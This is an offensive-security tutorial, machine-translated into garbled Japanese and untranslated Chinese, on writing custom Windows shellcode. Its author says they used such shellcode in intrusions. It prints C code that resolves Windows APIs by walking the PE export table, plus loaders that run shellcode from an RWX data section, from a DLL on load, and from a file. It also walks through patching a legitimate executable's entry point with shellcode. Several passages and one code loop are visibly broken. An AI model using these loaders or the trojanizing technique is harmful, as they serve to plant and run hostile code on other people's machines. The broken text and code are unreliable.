シェルコードの本質は、実際には独立して実行できるアセンブリ コードの一部であり、ファイル構造を持たず、コンパイル環境に依存せず、exe のようにダブルクリックして実行することもできません。 。ここでは特定のシェルコードについては詳しく説明しませんが、Baidu で関連情報を自分で検索することができます。
過去半年でたくさんの侵入を行ったので、使用したシェルコードもCSまたはMSFによって生成されましたが、ツールによって自動生成されたシェルコードは結局死んでおり、方法がありません別の例としては、新しい脆弱性を知っているが、指定された脆弱性悪用 POC では計算ツールしかポップアップ表示できない場合があり、必要な機能を実現したい場合は、シェルコードを自分で記述する必要があります。シェルコード作成テクノロジを習得することが特に重要であり、バッファ オーバーフローやワームに対するシェルコードについても同様であり、不可欠かつ重要な役割を果たします。
シェルコードを自分で書きたい場合は、シェルコードを書く上で最も重要な知識点を知っておく必要があります。いくつかの点を挙げてみましょう:
1. シェルコードもプログラムです。正常に実行するには、さまざまなデータ (グローバル文字列など) も使用する必要がありますが、誰もが知っています。グローバル変数へのアクセス。それらはすべて固定アドレス (ハードコーディング、つまり、ハードコーディングされており変更できない) であり、シェルコードはどのプログラムのどこでも実行できるように配置されています。この場合、必要なデータへのアクセスは正確ですか?
2. シェルコードはオペレーティング システムでも実行され、いくつかのシステム API を呼び出す必要があります。これらの API のアドレスを取得するにはどうすればよいでしょうか?
3. 必要な API がシェルコードで実行されるプログラムにインポートされておらず、それを使用する必要がある場合、どうすればよいでしょうか?
スペースの都合上、これらの質問に対する答えは、FB の上級著者 Rabbit_Run が翻訳した 3 つの記事「Windows プラットフォーム シェルコード開発入門 1、2、および 3」から見つけることができます。シェルコードの作成について知っている すべての前提条件となる知識が含まれるため、質問して答えを見つけることができます。
これらの前提知識を知った後でも、純粋にシェルコードを記述するのは面倒で困難です。ネイティブ js コードを記述することは、jquery などの js フレームワークを使用するよりもはるかに便利ではなく、高速です。したがって、カスタム関数の作成を容易にするシェルコード プログラミング フレームワークを確立する必要があります。インターネット上には、TK がオープンソースで使用したシェルコード プログラミング フレームワークや、OneBugMan 先生が以前に書いた 2 つのフレームワークなど、そのようなシェルコード プログラミング フレームワークがたくさんあります。私は学校で勉強していたときにシェルコード プログラミング フレームワークを書きましたが、できません。この浸透期間中、以前の知識の多くを忘れてしまったので、OneBugMan が教えたコースに基づいてシェルコード フレームワークを作成し、実践しました (興味がある場合は、教師のオープン クラスをサポートできます) 、それはとても良いことです)。
1. プロジェクト作成時に SDL チェックをオフにします
2. プロパティ -> C/C -> コード生成 ->ランタイム ライブラリ - > マルチスレッド (/MT) デバッグの場合は、MTD
3 に設定します。プロパティ - > 一般 - > プラットフォーム ツールセット - > Visual Studio 2015 - Windows XP に設定します。 (v140_xp)、そうでない場合は、対応する XP 互換コンポーネントをインストールできます
4。プロパティ -> C/C -> コード生成 -> セキュリティ チェックを無効にする GS
5. 生成されたマニフェストを閉じます。 [プロパティ] -> [リンカー] -> [マニフェスト ファイル] -> [マニフェストの生成] [No] を選択します。
各ファイルの役割を以下に紹介します:
1.api.h— —>シェルコードによって使用されるシステム関数への関数ポインター、およびこれらの関数ポインターを含む構造体。
2.header.h——>ヘッダーファイルとカスタム関数の関数宣言。
3.0.entry.cpp——> フレームワークのエントリで、最終的に生成されるシェルコード ファイルを作成します。
4.a.start.cpp——> シェルコードの開始位置をマークします。これは、シェルコードを作成する前に事前操作を実行し、使用する関数を初期化するために使用されます
5。 b.work .cpp——>シェルコードの実行、特定の関数の実装
6.z.end.cpp——>シェルコードの終了位置をマーク
ファイルにこのような名前が付けられている理由は、最初に数字、次に文字で配置されているためです。プロジェクト内のファイルは、コンパイルされて exe が生成されるときに、コンパイルされて生成されるように、このように名前が付けられています。以下に示す順序で生成されるため、生成された実行コードセグメント内の関数の順序も、以下のファイル内の関数の順序に従って配置されるため、シェルコードのサイズ (z.end の ShellcodeEnd から ShellcodeStart を引いたもの) を簡単に計算できます。 a.start. はシェルコードのサイズです)、それにより最終的に生成されるファイルにシェルコードが書き込まれます。
関数名は一貫している必要があります。一貫性がないと、エントリ ポイントが見つかりません。エントリ ポイントを変更したためです。 、一部の C 形式関数は直接使用できないため、動的呼び出し形式に変更する必要があります。作成するシェルコードのサイズの計算もあります。
構成の準備: kernel32.dll のマトリックスを動的に取得し、PE ファイル形式の知識を使用して GetProcAddress 関数のアドレスを取得し、さらに LoadLibr を取得します。アリーアドレス。前段階として、他の API のアドレスを取得し、シェルコードのさまざまな機能を実現します。 関数 機能 機能 4 Kernel32.dll ベース アドレスの取得
以下は、 GetProcadDress 関数のアドレス。[]="xxxxx"; これにより、文字列がプログラムの rdata セクションに書き込まれ、絶対アドレスに変換されます。絶対アドレスを使用すると、シェルコードの実行エラーが発生します。
FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }
以下の初期化関数部分では、使用する関数がどの DLL に含まれているかを知る必要があります。たとえば、system() 関数を使用してコマンドを実行したい場合は、最初に msvCRT をロードする必要があります。 .dll を次の図で確認し、getprocaddress 関数でシステム関数を見つけます。システム関数 (電卓の呼び出しなど) で使用されるコマンド文字列も char szCalc[] = { 'c','a','l','c',0}; のように記述する必要があることを忘れないでください。 。
図 5 初期化関数特定の関数を実装するときは、下図の配列の配列に従って関数で使用される文字列を宣言することを忘れないでください。 1.txt ドキュメント。
图7 生成的shellcode
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
源码A
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }</stdio.h></windows.h>
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }</iostream></windows.h>
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }</windows.h></stdlib.h></stdio.h>
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
以上がシェルコードとはどういう意味ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。